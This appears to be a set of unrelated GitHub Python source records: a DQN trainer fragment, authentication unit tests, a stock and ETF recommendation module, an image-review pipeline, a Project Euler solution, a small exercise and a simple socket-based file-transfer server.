]\r\n # Compute q-values for best candidate with target network\r\n max_next_q_value = self.target_dqn(next_state, best_candidates)\r\n max_next_q_value = max_next_q_value.squeeze(-1)\r\n max_next_q_value[(not_done == 0)] = 0.0\r\n q_target = reward + (gamma * max_next_q_value * not_done)\r\n\r\n # Update DQN\r\n if print_q:\r\n print(\"[INFO] example Q values: \")\r\n print(q_value)\r\n loss = self.criterion(q_value, q_target)\r\n self.optimizer.zero_grad()\r\n loss.backward()\r\n self.optimizer.step()\r\n\r\n def _get_rep_shape(self, state_shape, n_candidates):\r\n \"\"\"Get correct shape for repeating state\"\"\"\r\n rep_shape = [1, n_candidates, 1]\r\n if len(state_shape) == 3:\r\n rep_shape.append(1)\r\n return rep_shape\r\n","repo_name":"d-vesely/drlnrs","sub_path":"src/rl/trainers/trainer_dqn.py","file_name":"trainer_dqn.py","file_ext":"py","file_size_in_byte":6879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"1185551431","text":"# -*- coding: utf-8 -*-\n\"\"\"\nauthentication test_services module.\n\"\"\"\n\nimport pytest\n\nimport pyrin.security.authentication.services as authentication_services\nimport pyrin.security.session.services as session_services\n\nfrom pyrin.security.exceptions import AuthenticationFailedError\nfrom pyrin.security.authentication.handlers.exceptions import AccessTokenRequiredError, \\\n InvalidAccessTokenError\n\n\ndef test_authenticate_with_fresh_access_token(client_request_fresh_access_token):\n \"\"\"\n authenticates given request with fresh access token and\n pushes the authenticated data into request context.\n \"\"\"\n\n authentication_services.authenticate(client_request_fresh_access_token,\n authenticator='test')\n client_request = session_services.get_current_request()\n assert client_request is not None\n assert client_request.user is not None\n assert client_request.user == 100\n\n\ndef test_authenticate_with_access_token(client_request_access_token):\n \"\"\"\n authenticates given request with access token and\n pushes the authenticated data into request context.\n \"\"\"\n\n authentication_services.authenticate(client_request_access_token,\n authenticator='test')\n client_request = session_services.get_current_request()\n assert client_request is not None\n assert client_request.user is not None\n assert client_request.user == 200\n\n\ndef test_authenticate_with_refresh_token(client_request_refresh_token):\n \"\"\"\n authenticates given request with access token.\n it should raise an error.\n \"\"\"\n\n with pytest.raises(InvalidAccessTokenError):\n authentication_services.authenticate(client_request_refresh_token,\n authenticator='test')\n\n\ndef test_authenticate_without_token(client_request_without_token):\n \"\"\"\n authenticates given request that has no token.\n it should not push anything into request object.\n \"\"\"\n\n with pytest.raises(AccessTokenRequiredError):\n authentication_services.authenticate(client_request_without_token,\n authenticator='test')\n\n client_request = session_services.get_current_request()\n assert client_request is not None\n assert client_request.user is None\n\n\ndef test_authenticate_with_no_identity_token(client_request_no_identity_token):\n \"\"\"\n authenticates given request with an access token\n which has no user identity in it's payload.\n it should raise an error.\n \"\"\"\n\n with pytest.raises(AuthenticationFailedError):\n authentication_services.authenticate(client_request_no_identity_token,\n authenticator='test')\n\n\ndef test_authenticate_with_invalid_token(client_request_invalid_token):\n \"\"\"\n authenticates given request with an invalid token.\n it should raise an error.\n \"\"\"\n\n with pytest.raises(AuthenticationFailedError):\n authentication_services.authenticate(client_request_invalid_token,\n authenticator='test')\n","repo_name":"mononobi/pyrin","sub_path":"src/tests/unit/security/authentication/test_services.py","file_name":"test_services.py","file_ext":"py","file_size_in_byte":3125,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"50"} +{"seq_id":"75067065756","text":"from investpy.etfs import get_etf_historical_data\nfrom numpy.testing._private.utils import measure\nimport random\nimport pandas as pd\nimport yfinance as yf\nfrom stockService import stocks, update\nimport investpy as ipy\nfrom datetime import datetime\nimport datetime as dt\nimport json\n\n\ndef getSuggestions(input):\n strats = input[\"strats\"].split(\",\")\n products = input[\"products\"].split(\",\")\n result = {}\n for product in products:\n for strat in strats:\n handler = handlerMap[product][strat]\n if handler != None:\n temp = handler(input)\n if len(result) == 0:\n result = temp\n elif list(temp.keys())[0] not in result:\n result.update(temp)\n else:\n curProduct = list(temp.keys())[0]\n curTickers = result[curProduct][\"names\"]\n toAddTickers = temp[curProduct][\"names\"]\n \n curFullNames = result[curProduct][\"full_names\"] if curProduct == \"stock\" else None\n toAddFullNames = temp[curProduct][\"full_names\"] if curProduct == \"stock\" else None\n\n curMeasures = result[curProduct][\"measures\"]\n toAddMeasures = temp[curProduct][\"measures\"]\n\n curHistory = result[curProduct][\"history\"]\n toAddHistory = temp[curProduct][\"history\"]\n for i in range(len(toAddTickers)):\n ticker = toAddTickers[i]\n if ticker in curTickers:\n index = curTickers.index(ticker)\n curMeasures[index] = curMeasures[index] + toAddMeasures[i]\n else:\n curTickers.append(ticker)\n if curProduct == \"stock\":\n curFullNames.append(toAddFullNames[i])\n curMeasures.append(toAddMeasures[i])\n curHistory[ticker] = toAddHistory[ticker]\n\n allsum = 0\n for key in result:\n productRateAve = 0\n productRateSum = sum(result[key][\"measures\"])\n productRateAve = 0 if len(result[key][\"measures\"]) == 0 else productRateSum / len(result[key][\"measures\"])\n result[key][\"rate_ave\"] = productRateAve\n result[key][\"rate_sum\"] = productRateSum\n result[key][\"ratio\"] = [(0 if productRateSum == 0 else tickerRate/productRateSum) for tickerRate in result[key][\"measures\"]]\n allsum += productRateAve\n for key in result:\n result[key][\"spend\"] = 0 if allsum == 0 else round((int)(input[\"amount\"]) * (result[key][\"rate_ave\"] / allsum) , 2)\n if key == \"stock\":\n result[key][\"current\"] = []\n for name in result[key][\"names\"]:\n ticker = yf.Ticker(name)\n history = ticker.history(period=\"1d\", interval=\"1m\")\n lastMin = history.iloc[-1]['Close']\n result[key][\"current\"].append(lastMin)\n return result\n\n\ndef get_etf_names_by_symbols(symbolList):\n allETFs = ipy.get_etfs_dict(columns=[\"name\",\"symbol\"])\n result = [None]*len(symbolList)\n for obj in allETFs:\n if obj['symbol'] in symbolList:\n index = symbolList.index(obj['symbol'])\n result[index] = obj['name']\n return result\n \n \ndef get_growth_etfs(input):\n result={\n \"ETF\": {\n \"names\" : [],\n \"measures\" : [],\n \"history\" : {},\n },\n }\n \n etf = [ {\"TQQQ\": \"267.71%\"}, {\"SOXL\": \"245.03%\"}, {\"TECL\": \"242.95%\"}, \n {\"ROM\": \"218.33%\"}, {\"ARKG\": \"203.18%\"}, {\"QLD\": \"200.51%\"}]\n \n etf_symbol = [list(pair.keys())[0] for pair in etf]\n names = get_etf_names_by_symbols(etf_symbol)\n \n for i in range(len(etf_symbol)):\n if names[i] != None:\n result[\"ETF\"][\"names\"].append(names[i])\n percent = (float)(etf[i][list(etf[i].keys())[0]].split(\"%\")[0])\n percent = percent / 100\n percent = pow(percent, 1/3)\n result[\"ETF\"][\"measures\"].append(percent)\n result[\"ETF\"][\"history\"][names[i]] = get_eft_history(names[i])\n return result\n\ndef get_growth_stocks(input):\n result={\n \"stock\": {\n \"names\" : [],\n \"full_names\" : [],\n \"measures\" : [],\n \"history\": {}\n },\n }\n for ticker in [key for key in stocks.keys() if key != \"date\"]:\n if \"earnings\" in stocks[ticker]:\n earnings = stocks[ticker][\"earnings\"]\n years = 3\n if len(earnings) >= years+1:\n qualified = True\n rateSum = 0.0\n for i in range(years):\n prevYear = (int)(earnings.iloc[-(i+1)]['Earnings'])\n prevPrev = (int)(earnings.iloc[-(i+2)]['Earnings'])\n if (prevYear - prevPrev) / prevPrev < 0.15:\n qualified = False\n break\n else:\n rateSum += ((prevYear - prevPrev) / prevPrev)\n if qualified:\n result[\"stock\"][\"names\"].append(ticker)\n result[\"stock\"][\"full_names\"].append(\"\" if \"shortName\" not in stocks[ticker][\"info\"] else stocks[ticker][\"info\"][\"shortName\"])\n result[\"stock\"][\"measures\"].append(rateSum/years)\n result[\"stock\"][\"history\"][ticker] = get_history(ticker)\n\n if len(result[\"stock\"][\"names\"]) == 10:\n break\n return result\n\"\"\"\n Only for stocks for now\n\"\"\"\ndef get_history(name):\n history = []\n series = stocks[name]['history']\n if series is not None:\n for i in range(min(len(series), 7)):\n x = series.iloc[[-(i+1)]]\n date = x.index.date[0].strftime(\"%m-%d-%Y\")\n price = x.values[0]\n history.append([date, price])\n return history[::-1]\n\"\"\"\n Pass in etf name\n returns array formatted for chart.js\n\"\"\"\ndef get_eft_history(name):\n history = []\n date = datetime.now().date()\n curr_date = \"{}/{}/{}\".format(\"{0:0=2d}\".format(date.day), \"{0:0=2d}\".format(date.month), \"{0:0=2d}\".format(date.year))\n weekAgo = datetime.now() - dt.timedelta(days=7)\n week_ago = \"{}/{}/{}\".format(\"{0:0=2d}\".format(weekAgo.day), \"{0:0=2d}\".format(weekAgo.month), \"{0:0=2d}\".format(weekAgo.year))\n\n jsonStr = ipy.etfs.get_etf_historical_data(etf=name,\n country='United States',\n from_date=week_ago,\n to_date=curr_date, as_json=True)\n if jsonStr:\n jsonObj = json.loads(jsonStr)\n for obj in jsonObj[\"historical\"]:\n dateStr = obj[\"date\"]\n dateArr = dateStr.split(\"/\")\n mon = dateArr[1]\n day = dateArr[0]\n yr = dateArr[2]\n date = mon + \"-\" + day + \"-\" + yr\n pr = obj[\"high\"]\n history.append([date, pr])\n return history\n\ndef get_value_stocks(input):\n # from the list of stocks, return top three and amount to each stocks\n # select from large cap stocks and choose one that suffered drop recently or traded sideways for a while\n val_stock = []\n measures = [0, 0, 0]\n pegRatio = []\n visited = []\n ret={\n \"stock\": {\n \"names\" : [],\n \"full_names\": [],\n \"measures\" : [],\n \"history\": {}\n },\n }\n #print(stocks)\n ticker = random.choice(list(stocks.keys()))\n products = input['products'].split(',')\n useStock = 'stock' in products\n useETF = 'etf' in products\n \n while len(val_stock) < 3:\n visited.append(ticker)\n s = stocks[ticker]\n\n value_tick = 0\n if 'info' in s:\n info = s['info']\n if \"marketCap\" not in info:\n ticker = random.choice(list(stocks.keys()))\n continue\n if info['marketCap'] > 2000000000:\n if 'profitMargins' in info and info['profitMargins'] is not None and info['profitMargins'] >= 0.2:\n value_tick += 1\n if 'priceToBook' in info and info['priceToBook'] is not None and info['priceToBook'] <= 3:\n value_tick += 1\n if 'dividendRate' in info and info['dividendRate'] is not None:\n value_tick += 1\n\n # peg ratio to determine if stock is fairly valued\n if 'pegRatio' in info and info['pegRatio'] is not None and 1 >= info['pegRatio'] >= 0:\n value_tick += 1\n \n if value_tick >= 2:\n val_stock.append(ticker)\n ret['stock']['history'][ticker] = get_history(ticker)\n if 'pegRatio' in info and info['pegRatio'] is not None:\n pegRatio.append(info['pegRatio'])\n else:\n pegRatio.append(99999999999)\n\n # measures.append(value_tick)\n while ticker in visited:\n ticker = random.choice(list(stocks.keys()))\n \"\"\"\n determin allocation of stocks\n stocks with smallest peg is given most allocation\n other are equally allocated\n \"\"\"\n smallestPeg = min(pegRatio)\n indexSmallestPeg = pegRatio.index(smallestPeg)\n \n if (useStock and useETF) :\n if smallestPeg == 99999999999:\n measures = [0.25, 0.25, 0.25]\n else:\n for i in range(len(measures)):\n if i == indexSmallestPeg:\n measures[i] = 0.35\n else:\n measures[i] = 0.2\n ret['stock']['names'] = val_stock\n ret[\"stock\"][\"full_names\"] = [ (\"\" if \"shortName\" not in stocks[n][\"info\"] else stocks[n][\"info\"][\"shortName\"]) for n in val_stock]\n ret['stock']['measures'] = measures[:]\n elif (useStock):\n if smallestPeg == 99999999999:\n measures = [0.25, 0.25, 0.25]\n else:\n for i in range(len(measures)):\n if i == indexSmallestPeg:\n measures[i] = 0.7\n else:\n measures[i] = 0.15\n ret['stock']['names'] = val_stock\n ret[\"stock\"][\"full_names\"] = [ (\"\" if \"shortName\" not in stocks[n][\"info\"] else stocks[n][\"info\"][\"shortName\"]) for n in val_stock]\n ret['stock']['measures'] = measures[:]\n # print(ret)\n return ret\n\ndef get_value_eft(input):\n ret={\n \"ETF\": {\n \"names\" : [],\n \"measures\" : [],\n \"history\": {}\n },\n }\n \"\"\"\n VYM has high divdend yields which makes it good value\n VTV tracks the value stocks\n SPY tracks SP500 which is always good value\n \"\"\"\n etf = ['VYM', 'VTV', 'SPY']\n full_etf = get_etf_names_by_symbols(etf)\n vtv = get_etf_names_by_symbols(['VTV'])\n\n measures = [0.25, 0.5, 0.25]\n products = input['products'].split(',')\n useStock = 'stock' in products\n useETF = 'etf' in products\n if (useStock and useETF) :\n ret['ETF']['names'] = ['VTV'][:]\n ret['ETF']['measures'] = [0.25]\n final_hist = {}\n for i in vtv:\n tmp_hist = get_eft_history(i)\n final_hist['VTV'] = tmp_hist\n # print(final_hist)\n ret['ETF']['history'] = final_hist\n elif (useETF):\n ret['ETF']['names'] = etf[:]\n ret['ETF']['measures'] = measures[:]\n final_hist = {}\n for index, i in enumerate(full_etf):\n tmp_hist = get_eft_history(i)\n final_hist[etf[index]] = tmp_hist\n # print(final_hist)\n ret['ETF']['history'] = final_hist\n return ret\n\n\n\ndef get_ethical_stocks(input):\n '''\n Choose 3 stocks from the top 10 companies that have made great efforts for the environment\n https://www.forbes.com/sites/justcapital/2019/04/22/the-top-33-companies-for-the-environment-by-industry/?sh=7bee72ce6461\n '''\n result={\n \"stock\": {\n \"names\" : [],\n \"full_names\": [],\n \"measures\" : [],\n \"history\": {},\n },\n }\n \n ethical_stock_tickers_top10 = ['MSFT', 'INTC', 'GOOGL', 'IBM', 'ACN', 'T', 'GM', 'GIS', 'AAPL', 'RMD']\n\n # recommendation score = 10 * past year percentage change + 5 * past 6-month percentage change + 3 * past 3-month percentage change\n recommendation_score_list = {}\n for ticker in ethical_stock_tickers_top10:\n if ticker not in stocks:\n continue\n tk = stocks[ticker]\n history = tk[\"history\"]\n today_data = history.iloc[-1:]\n current_price = round(today_data.values[0], 2)\n total_rows = len(history)\n prev_year_price = round(history.iloc[0], 2)\n prev_6month_price = round(history.iloc[round(total_rows * 0.5)], 2)\n prev_3month_price = round(history.iloc[round(total_rows * 0.75)], 2) \n past_year_percetage_change = (current_price - prev_year_price) / prev_year_price\n past_6month_percentage_change = (current_price - prev_6month_price) / prev_6month_price \n past_3month_percentage_change = (current_price - prev_3month_price) / prev_3month_price \n recommendation_score = 10 * past_year_percetage_change + 5 * past_6month_percentage_change + 3 * past_3month_percentage_change \n recommendation_score_list[ticker] = recommendation_score\n \n # sort recommendation score in descending order\n sorted_recommendation_score_list= sorted(recommendation_score_list.items(), key=lambda x: x[1], reverse=True)\n \n\n # output top 3 stock recommendations\n count = 0\n for stock_ticker, recommendation_score in sorted_recommendation_score_list:\n if count < 3:\n result[\"stock\"][\"names\"].append(stock_ticker)\n result[\"stock\"][\"full_names\"].append(\"\" if \"shortName\" not in stocks[stock_ticker][\"info\"] else stocks[stock_ticker][\"info\"][\"shortName\"])\n result[\"stock\"][\"measures\"].append(recommendation_score)\n result[\"stock\"][\"history\"][stock_ticker] = get_history(stock_ticker)\n count = count + 1 \n else: \n break\n return result\n\n\n\ndef get_ethical_etfs(input):\n '''\n Choose 3 stocks from the top 10 ETFs that are environmentally responsible\n https://etfdb.com/esg-investing/environmental-issues/\n '''\n\n ret={\n \"ETF\": {\n \"names\" : [],\n \"measures\": [],\n \"history\": {},\n },\n }\n\n \n ethical_etf_tickers_top10 = ['KGRN', 'ACES', 'ICLN', 'TAN', 'SMOG', 'CTEC', 'QCLN', 'RNRG', 'FAN', 'SDG']\n\n # recommendation score = 10 * past year percentage change + 5 * past 6-month percentage change + 3 * past 3-month percentage change\n recommendation_score_list = {}\n for ticker in ethical_etf_tickers_top10:\n if ticker not in stocks:\n continue\n tk = stocks[ticker]\n history = tk[\"history\"]\n today_data = history.iloc[-1:]\n current_price = round(today_data.values[0], 2)\n total_rows = len(history)\n prev_year_price = round(history.iloc[0], 2)\n prev_6month_price = round(history.iloc[round(total_rows * 0.5)], 2)\n prev_3month_price = round(history.iloc[round(total_rows * 0.75)], 2) \n past_year_percetage_change = (current_price - prev_year_price) / prev_year_price\n past_6month_percentage_change = (current_price - prev_6month_price) / prev_6month_price \n past_3month_percentage_change = (current_price - prev_3month_price) / prev_3month_price \n recommendation_score = 10 * past_year_percetage_change + 5 * past_6month_percentage_change + 3 * past_3month_percentage_change \n recommendation_score_list[ticker] = recommendation_score\n \n # sort recommendation score in descending order\n sorted_recommendation_score_list= sorted(recommendation_score_list.items(), key=lambda x: x[1], reverse=True)\n \n\n # output top 3 ETF recommendations\n count = 0\n for etf_ticker, recommendation_score in sorted_recommendation_score_list:\n if count < 3:\n ret[\"ETF\"][\"names\"].append(etf_ticker)\n ret[\"ETF\"][\"measures\"].append(recommendation_score)\n ret[\"ETF\"][\"history\"][etf_ticker] = get_history(etf_ticker)\n count = count + 1 \n return ret\n\n\ndef get_index_stocks(input):\n res = {\n \"stock\": {\n \"names\" : [],\n \"full_names\": [],\n \"measures\" : [],\n \"history\": {}\n },\n }\n '''\n For index strategy, we are using annualReportExpenseRatio as metric. The lower the expenseRatio, the better the stock.\n\n source: \n https://www.forbes.com/advisor/retirement/best-total-stock-market-index-funds/\n https://www.bankrate.com/investing/best-index-funds/\n The following index fund are good index stocks because they have low expense ratio and considerable 5 year return\n FNILX\n SWPPX\n SWTSX\n VTSAX\n FZROX\n FSKAX\n VRTTX\n WFIVX\n '''\n tickers = ['FNILX', 'SWPPX', 'SWTSX', 'VTSAX', 'FZROX', 'FSKAX', 'VRTTX', 'WFIVX']\n #tickers = list(stocks.keys())\n\n products = input['products'].split(',')\n useStock = 'stock' in products\n useETF = 'etf' in products\n\n selected_tickers = []\n measures = []\n stock_dic = {}\n for ticker in tickers:\n stock = yf.Ticker(ticker)\n info = stock.info\n if 'annualReportExpenseRatio' in info and info['annualReportExpenseRatio'] is not None:\n if info['annualReportExpenseRatio'] <= 0.01:\n stock_dic[ticker] = info['annualReportExpenseRatio']\n \n sort_stocks = sorted(stock_dic.items(), key=lambda x: x[1])\n for s in sort_stocks:\n if len(selected_tickers) <=2:\n selected_tickers.append(s[0])\n if (s[1] == 0):\n measures.append(0.00001) \n measures.append(s[1]) \n if (useStock and useETF) :\n selected_tickers.pop()\n measures.pop()\n res[\"stock\"][\"names\"] = selected_tickers\n res[\"stock\"][\"measures\"] = measures\n elif (useStock):\n res[\"stock\"][\"names\"] = selected_tickers\n res[\"stock\"][\"measures\"] = measures\n return res\n\ndef get_index_etfs(input):\n res={\n \"ETF\": {\n \"names\" : [],\n \"measures\" : [],\n \"history\" : {},\n },\n }\n '''\n source: https://www.bankrate.com/investing/best-index-funds/\n VOO: expense ratio = 0.03%\n SPY: expense ratio = 0.09%\n IVV: expense ratio = 0.03%\n '''\n etf = ['VOO', 'SPY', 'IVV']\n names = get_etf_names_by_symbols(etf)\n measures = [0.4, 0.2, 0.4]\n\n for i in range(len(etf)):\n if names[i] != None:\n res[\"ETF\"][\"names\"].append(etf[i])\n res[\"ETF\"][\"measures\"].append(measures[i])\n res[\"ETF\"][\"history\"][etf[i]] = get_eft_history(names[i])\n return res \n\ndef get_quality_stocks(input):\n res={\n \"stock\": {\n \"names\" : [],\n \"full_names\": [],\n \"measures\" : [],\n \"history\" : {},\n },\n }\n\n #https://www.risk.net/definition/quality-factor#:~:text=The%20quality%20factor%20refers%20to,over%20a%20long%20time%20horizon.&text=Quality%2Dbased%20strategies%20try%20to,stocks%20versus%20low%2Dquality%20stocks.\n # use payoutRatio as metric, the higher the better\n selected_stocks = {}\n for ticker in [key for key in stocks.keys() if key != \"date\"]:\n\n stock = stocks[ticker]\n if 'info' in stock:\n info = stock['info']\n if 'payoutRatio' in info:\n payoutRatio = info['payoutRatio']\n if payoutRatio is not None and payoutRatio >= 0.35:\n selected_stocks[ticker] = payoutRatio\n if len(selected_stocks) > 2:\n break\n sort_stocks = sorted(selected_stocks.items(), key=lambda x: x[1], reverse=True)\n for s in sort_stocks:\n res[\"stock\"][\"names\"].append(s[0])\n res[\"stock\"][\"full_names\"].append(\"\" if \"shortName\" not in stocks[s[0]][\"info\"] else stocks[s[0]][\"info\"][\"shortName\"])\n res[\"stock\"][\"measures\"].append(s[1])\n res[\"stock\"][\"history\"][s[0]] = get_history(s[0])\n return res\n\ndef get_quality_etfs(input):\n res={\n \"ETF\": {\n \"names\" : [],\n \"measures\" : [],\n \"history\" : {},\n },\n }\n #https://www.etf.com/sections/features-and-news/dissecting-3-big-quality-etfs\n #https://www.nasdaq.com/articles/5-solid-quality-etfs-to-buy-now-2021-03-26\n selected_etfs = []\n etf = {\"QUAL\": 0.1658, \"SPHQ\": 0.1565, \"DGRW\": 0.1659, \"QDF\": 0.1291, \"IQLT\": 0.1197, \"IQDF\": 0.088599995, \"BFOR\":0.1524, \"QDF\":0.1291, \"QUS\": 0.16420001}\n sort_etfs = sorted(etf.items(), key=lambda x: x[1], reverse=True)\n measures = [0.5, 0.3, 0.2]\n for e in sort_etfs:\n if len(selected_etfs) <=2:\n selected_etfs.append(e[0])\n measures.append(measures[len(selected_etfs) - 1]) \n\n names = get_etf_names_by_symbols(selected_etfs)\n\n for i in range(len(selected_etfs)):\n if names[i] != None:\n res[\"ETF\"][\"names\"].append(selected_etfs[i])\n res[\"ETF\"][\"measures\"].append(measures[i])\n res[\"ETF\"][\"history\"][selected_etfs[i]] = get_eft_history(names[i])\n return res\n\nhandlerMap = {\n \"stock\":{\n \"ethical\": get_ethical_stocks,\n \"growth\": get_growth_stocks,\n \"quality\": get_quality_stocks,\n \"index\": get_index_etfs,\n \"value\": get_value_stocks,\n },\n \"etf\": {\n \"ethical\": get_ethical_etfs,\n \"growth\": get_growth_etfs,\n \"quality\": get_quality_etfs,\n \"index\": get_index_etfs,\n \"value\": get_value_eft,\n },\n}\n\n","repo_name":"lhy2016/Investment-Strategy","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":21846,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"74148656476","text":"# -*- coding: utf-8 -*-\n\nfrom algo.common.setting import local_config\nfrom algo.kernal.images_download import ImageDownload\nfrom algo.kernal.reviewresult_upload import ReviewResultUpload\nfrom algo.kernal.image_processing import ImageProcessing\nfrom algo.kernal.recognition_engine import RecognitionEngine\nfrom algo.kernal.dataset import MyDataset\nfrom algo.kernal.classification_engine import ClassificationEngine\nfrom algo.common.logger import log\nimport os\nfrom torch.utils.data import DataLoader\n\n\nclass Main(object):\n \"\"\"图片审核算法主程序\"\"\"\n def __init__(self, key):\n \"\"\"初始化参数\"\"\"\n log.info(\"图片审核算法开始运行......\")\n log.info(\"初始化图片路径、分类模型路径及敏感词汇库路径......\")\n self.key = key\n current_path = os.path.dirname(__file__)\n self.imgs_path = os.path.join(current_path, local_config[\"images_path\"])\n self.model_path = os.path.join(current_path, local_config[\"model_path\"])\n self.vocabulary_path = os.path.join(current_path, local_config[\"vocalbulary_path\"])\n log.info(\"初始化完毕!\")\n self.image_download()\n self.imgs_name = os.listdir(self.imgs_path)\n\n def image_download(self):\n \"\"\"下载图片\"\"\"\n log.info(\"从数据库中下载待审核图片......\")\n download_engine = ImageDownload(self.key)\n download_engine.download()\n log.info(\"下载完毕!\")\n\n def result_upload(self, review_result):\n \"\"\"将审核结果上传至数据库\"\"\"\n log.info(\"将审核结果上传至数据库中......\")\n upload_engine = ReviewResultUpload(review_result)\n upload_engine.upload()\n log.info(\"上传完毕!\")\n\n def images_delete(self):\n \"\"\"审核结束后删除images\"\"\"\n log.info(\"删除已审核图片......\")\n for img_name in self.imgs_name:\n os.remove(os.path.join(self.imgs_path, img_name))\n log.info(\"删除完毕!\")\n\n def review(self):\n \"\"\"审核器\"\"\"\n log.info(\"审核开始......\")\n datasets = MyDataset(self.imgs_path)\n dataloader = DataLoader(datasets, batch_size=1)\n classification_engine = ClassificationEngine(self.imgs_name, self.model_path)\n classified_result = classification_engine.classifier(dataloader)\n review_result = {}\n for img_name, result in classified_result.items():\n imageid = img_name.split(\".\")[0]\n if result == 0:\n review_result[imageid] = result\n else:\n img_path = os.path.join(self.imgs_path, img_name)\n processing_engine = ImageProcessing(img_name, img_path)\n sub_imgs = processing_engine.get_tailored_img()\n recognition_engine = RecognitionEngine(img_name, sub_imgs, self.vocabulary_path)\n review_result[imageid] = recognition_engine.recognizer()\n log.info(\"审核结束!\")\n self.result_upload(review_result)\n self.images_delete()\n log.info(\"图片审核算法执行完毕!\")\n\n\nif __name__ == '__main__':\n review_engine = Main(key=\"algo_mysql\")\n review_engine.review()\n\n\n\n\n\n\n","repo_name":"DeerZhifan/Images_Review_Project","sub_path":"engine_main.py","file_name":"engine_main.py","file_ext":"py","file_size_in_byte":3205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"32651156737","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Aug 17 23:52:56 2015\n\n@author: gibon\n\nfrom http://codereview.stackexchange.com/questions/39642/helper-function-to-solve-project-euler-question-26\n\"\"\"\n\ndef cycle_length(d):\n \n if not isinstance(d, int) or d <= 0:\n raise ValueError(\"cycle_length(d): d must be a positive integer\")\n \n rlist = [] # list of remainder\n qlist_len = 0\n remainder = 1\n \n while remainder:\n remainder = remainder % d\n if remainder in rlist:\n return qlist_len - rlist.index(remainder)\n rlist.append(remainder)\n remainder *= 10\n qlist_len += 1\n \n return 0\n\nc_max = [0,0]\n\nif __name__ == '__main__':\n for d in range(1,1000): #d = raw_input('d: ')\n try:\n c = cycle_length(int(d))\n print('1/%s =' % (d), c)\n if c > c_max[1]:\n c_max[1] = c\n c_max[0] = int(d)\n except ValueError:\n print('invalid input')\n \n print('Solution to problem 26 is %i (cycle %i).'%(tuple(c_max)))","repo_name":"thomasgibon/project-euler","sub_path":"026.py","file_name":"026.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"33313544915","text":"def data_type(arg):\n # checking the argument type and returning the appropriate result\n if type(arg) == str:\n return len(arg)\n elif type(arg) == bool:\n return arg\n elif type(arg) == int:\n if arg < 100:\n return 'less than 100'\n elif arg > 100:\n return 'more than 100'\n else:\n return 'equal to 100'\n elif type(arg) == list:\n if len(arg) >= 3:\n return arg[2]\n else:\n return None\n else:\n return 'no value'","repo_name":"joemug23/bootcamp_execrises","sub_path":"andelabs/data_structure_lab.py","file_name":"data_structure_lab.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"41302132135","text":"import socketserver\nimport json\nimport configparser\nimport os, sys\n\nPath = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nsys.path.append(Path)\nfrom conf import settings\nimport os\n\ns_code = {\n 250: \"invalid cmd format, e.g: {'action':'get','filename':'text.py','size':344}\",\n 251: \"invalid cmd\",\n 252: \"invalid auth data\",\n 253: \"wrong username or password\",\n 254: \"passed authentication\",\n 255: \"filename doesn't provided\",\n 256: \"file doesn't exist on server\",\n 257: \"ready to send file\",\n 258: \"md5 verification\",\n\n 800: \"the file exist but not enough, is countinue\",\n 801: \"the flie exist!\",\n 802: \"ready to receive datas\",\n\n 900: \"md5 valdate success\"\n\n}\n\n\nclass MySever(socketserver.BaseRequestHandler):\n def handle(self):\n # print(\"conn is\", self.request)\n # print(\"addr is:\", self.client_address)\n while True:\n try:\n\n data = self.request.recv(1024).strip()\n print(\"data-----\", data)\n if len(data) == 0: break\n\n data = json.loads(data.decode(\"utf-8\"))\n print(\"data:\", type(data))\n\n if data.get(\"action\"):\n print(str(data.get(\"action\")))\n if hasattr(self, \"%s\" % data.get(\"action\")):\n func = getattr(self, data.get(\"action\"))\n func(**data)\n else:\n print(\"Invalid cmd\")\n self.send_answer(251)\n else:\n print(\"Invalid cmd\")\n self.send_answer(250)\n\n # self.request.sendall(a.encode(\"utf-8\"))\n except Exception as e:\n print(e)\n break\n\n def send_answer(self, s_code):\n answer = {\"s_code\": s_code}\n self.request.sendall(json.dumps(answer).encode(\"utf-8\"))\n\n def auth(self, **data):\n username = data[\"username\"]\n password = data[\"password\"]\n urse = self.jude(username, password)\n if urse:\n self.send_answer(254)\n else:\n self.send_answer(253)\n\n def jude(self, urse, pwd):\n cfg = configparser.ConfigParser()\n cfg.read(settings.ACCOUNT_PATH)\n if urse in cfg.sections():\n\n if cfg[urse][\"password\"] == pwd:\n self.ures = urse\n self.mainpath = os.path.join(settings.BASE_DIR, \"home\", self.ures)\n print(\"weclcome\")\n return urse\n\n def put(self, **data):\n print(\"data\", type(data))\n file_name = data.get(\"file_name\")\n file_size = data.get(\"file_size\")\n targerpath = data.get(\"targerpath\")\n\n abs_path = os.path.join(self.mainpath, targerpath, file_name)\n\n big = 0\n\n if os.path.exists(abs_path):\n has_size = os.stat(abs_path).st_size\n if has_size < file_size:\n self.request.sendall(\"800\".encode(\"utf-8\"))\n choise = self.request.recv(1024).decode(\"utf-8\")\n if choise == \"Y\":\n self.request.sendall(str(has_size).encode(\"utf-8\"))\n big += has_size\n f = open(abs_path, \"ab\")\n\n else:\n f = open(abs_path, \"wb\")\n else:\n self.request.sendall(\"801\".encode(\"utf-8\"))\n return\n else:\n self.request.sendall(\"802\".encode(\"utf-8\"))\n f = open(abs_path, \"wb\")\n\n while big < file_size:\n try:\n data = self.request.recv(1024)\n\n except Exception as e:\n break\n f.write(data)\n big += len(data)\n f.close()\n\n def Is(self, **data):\n g_file = os.listdir(self.mainpath)\n file_str = \"\\n\".join(g_file)\n if not len(g_file):\n file_str = \"\"\n self.request.sendall(file_str.encode(\"utf-8\"))\n return\n\n def cd(self, **data):\n\n dirname = data.get(\"dirname\")\n if dirname == \"..\":\n self.mainpath = os.path.dirname(self.mainpath)\n else:\n self.mainpath = os.path.join(self.mainpath, dirname)\n self.request.sendall(self.mainpath.encode(\"utf-8\"))\n\n def download(self, **data):\n dirname = data.get(\"dirname\")\n download_file = os.path.join(self.mainpath, dirname)\n file_size = os.stat(download_file).st_size\n 